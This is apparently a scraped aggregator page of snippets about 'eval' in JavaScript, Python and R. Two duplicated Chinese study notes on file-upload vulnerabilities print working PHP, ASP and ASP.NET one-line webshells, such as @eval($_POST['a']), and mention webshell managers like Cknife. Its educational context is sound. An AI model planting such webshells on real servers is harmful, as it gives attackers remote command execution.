eval

How to dynamically execute/eval JavaScript code that contains an ES6 module / requires some dependencies?

时光毁灭记忆、已成空白 提交于 2019-12-01 05:14:38
I want my users to be able to use JavaScript as a scripting language inside my JavaScript application. In order to do so, I need to dynamically execute the source code. There seem to be two main options for dynamically executing JavaScript: a) Use eval(...) method ( or var func = new Function(...); ) . b) Add a <script> node to the DOM (for example by using $('body').append(...) ). Both methods work fine as long as I do not use any import statements in the dynamically executed source code. If I include import statements I get the error message Unexpected identifier . Example user source code

集训第六天:文件上传漏洞

我怕爱的太早我们不能终老 提交于 2019-12-01 05:08:29
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET[‘a’]); ?> <?php ehco shell_exec($_POST[‘a’]); ?> <?php @eval($_POST[‘a’]); ?> ASP一句话木马: <%eval request(“Cknife”)%> ASP.NET一句话木马: <%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%> shell_exec() 通过环境执行命令,并且将完整的输出以字符串的方式返回 eval() 把字符串作为PHP代码执行执行a接收到的内容 Cknife(菜刀) 超级强大的网站管理工,分为客户端和代码两部分 只要将那简短的一句话代码放到网站上去就可以取得网站的权限 运行环境:安装了JRE1.7+环境的所有操作系统 主要功能:文件管理、虚拟终端、数据库管理 DVWA’s File

集训第六天:文件上传漏洞

China☆狼群 提交于 2019-12-01 05:05:56
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET[‘a’]); ?> <?php ehco shell_exec($_POST[‘a’]); ?> <?php @eval($_POST[‘a’]); ?> ASP一句话木马: <%eval request(“Cknife”)%> ASP.NET一句话木马: <%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%> shell_exec() 通过环境执行命令,并且将完整的输出以字符串的方式返回 eval() 把字符串作为PHP代码执行执行a接收到的内容 Cknife(菜刀) 超级强大的网站管理工,分为客户端和代码两部分 只要将那简短的一句话代码放到网站上去就可以取得网站的权限 运行环境:安装了JRE1.7+环境的所有操作系统 主要功能:文件管理、虚拟终端、数据库管理 DVWA’s File

python 的eval函数

泪湿孤枕 提交于 2019-12-01 04:38:29
python中的eval()函数是用来计算所有数学的代数计算式,这样可以很快得到复杂代数式的结果。 例如:383660347*375705824-1796136991-1726898699*1899420019*1700897586*642532444-2073968155+592065376+1145982995+178738053= >>>eval('383660347*375705824-1796136991-1726898699*1899420019*1700897586*642532444-2073968155+592065376+1145982995+178738053') >>>-3584768377397114585976975169312809498 这里记录一个bugkuctf的web题:秋名山老司机 进去发现是计算一个很复杂的代数式,且要求2秒,那么肯定要用脚本来跑 且刷新了几下发现要用post来提交答案,答案的值赋值给value。 那么直接上代码,先正则匹配出里面的代数式,然后再用eval进行求和,将结果赋值给value,然后再进行post发包,data就是value和它的值,然后输出响应包的数据。 import re import requests headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;

How to pass / evaluate function arguments within another function for use with ggplot?

蓝咒 提交于 2019-12-01 03:52:49
问题 Please consider the following code: test <- function(x,n){ selection<-names(x)[n] graph <- ggplot(x, aes(factor(selection))) graph + geom_bar() } test(mtcars,1) It throws an error cause R can't find selection. I also played around with substitute , eval and get without success. I found this similar question and thought I understood Joris' answer but can't use the same trick for arguments of ggplot as well. 回答1: you can use aes_string for this purpose. So test should be like this: test <-

nested shell variables without using eval

筅森魡賤 提交于 2019-12-01 03:34:17
Can I get rid of eval here? I'm trying to set $current_database with the appropriate variable determined by user input (country and action) # User input country="es" action="sales" # Possible variables for current_database final_es_sales_path="blahblah/es/sales.csv" final_en_support_path="yadayada/en/support.csv" final_it_inventory_path="humhum/it/inventory.csv" ... current_database=$(eval echo \${final_${country}_${action}_path}) You can use associative arrays, joining the value of both variables. For example: declare -A databases # initialization databases["es:sales"]="blahblah/es/sales.csv"

What does the asterisk do in Python other than multiplication and exponentiation? [duplicate]

别说谁变了你拦得住时间么 提交于 2019-12-01 03:19:03
问题 This question already has answers here : asterisk in function call (3 answers) proper name for python * operator? (7 answers) Closed 6 years ago . In Peter Norvig's Lisp interpreter written in Python (http://norvig.com/lispy.html), he defines Lisp's eval as follows: def eval(x, env=global_env): "Evaluate an expression in an environment." if isa(x, Symbol): # variable reference return env.find(x)[x] elif not isa(x, list): # constant literal return x elif x[0] == 'quote': # (quote exp) (_, exp)

Converting value of an Eval from int to string

给你一囗甜甜゛ 提交于 2019-12-01 02:43:53
问题 I have an integer stored in my database that I need to convert string. This is my attempt at the Eval: <%# ChangeSalaryType(Eval("SalaryType")) %> This is my attempt at the function: public static string ChangeSalaryType(int salaryType) { string salaryTime = string.Empty; if (salaryType == 1) { salaryTime = "per hour"; } else if (salaryType == 2) { salaryTime = "per week"; } else if (salaryType == 3) { salaryTime = "per annum"; } return salaryTime; } But I am getting these errors: Argument 1:

ASP.NET using Bind/Eval in .aspx in If statement

ⅰ亾dé卋堺 提交于 2019-12-01 02:23:06
in my .aspx I'm looking to add in an If statement based on a value coming from the bind. I have tried the following: <% if(bool.Parse(Eval("IsLinkable") as string)){ %> monkeys!!!!!! (please be aware there will be no monkeys, this is only for humour purposes) <%} %> IsLinkable is a bool coming from the Binder. I get the following error: InvalidOperationException Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control. You need to add your logic to the ItemDataBound event of ListView. In the aspx you cannot have an if-statement in the

Using data.table's .() shortcut in quoted expressions

守給你的承諾、 提交于 2019-12-01 01:38:43
问题 I have some data.tables containing file names as a var named fn . I want to split off basename and extension: library(data.table) library(tools) DT1 = data.table(fn = c("gah.csv", "egad.csv")) DT2 = data.table(fn = c("gah.xlsx", "egad.xlsx")) DT3 = data.table(fn = c("boo.txt", "ya.foo")) do_split_fn = quote(c("name", "ext") := list(file_path_sans_ext(fn), file_ext(fn))) DT1[, eval(do_split_fn)] DT2[, eval(do_split_fn)] DT3[, eval(do_split_fn)] So this all works fine and my question is very